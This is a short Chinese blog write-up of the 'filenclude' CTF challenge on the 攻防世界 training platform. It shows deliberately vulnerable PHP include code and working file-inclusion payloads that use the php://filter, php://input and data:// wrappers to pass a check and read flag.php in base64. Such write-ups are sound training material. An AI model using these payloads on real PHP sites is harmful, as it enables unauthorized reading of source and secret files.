文件包含_filenclude

filenclude 攻防世界

题目代码:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
} 

file1无可争议,为

file1=php://filter/read=convert.base64-encode/resource=flag.php

file2要强相等于hello ctf,利用php://input或data协议

​ 1:file2=php://input Post data:hello ctf=hello ctf

​ 2:file2=data://text/plain,hello ctf


php://filter 可以进行任意文件读取,并进行base64编码输出

data:// 可以将内容写入file变量中,赋值给file_get_contents读到的内容

php://input 可以访问请求的原始数据只读流,读取没有处理过的POST内容

posted @ 2025-09-04 21:52  lieer  阅读(14)  评论(0)    收藏  举报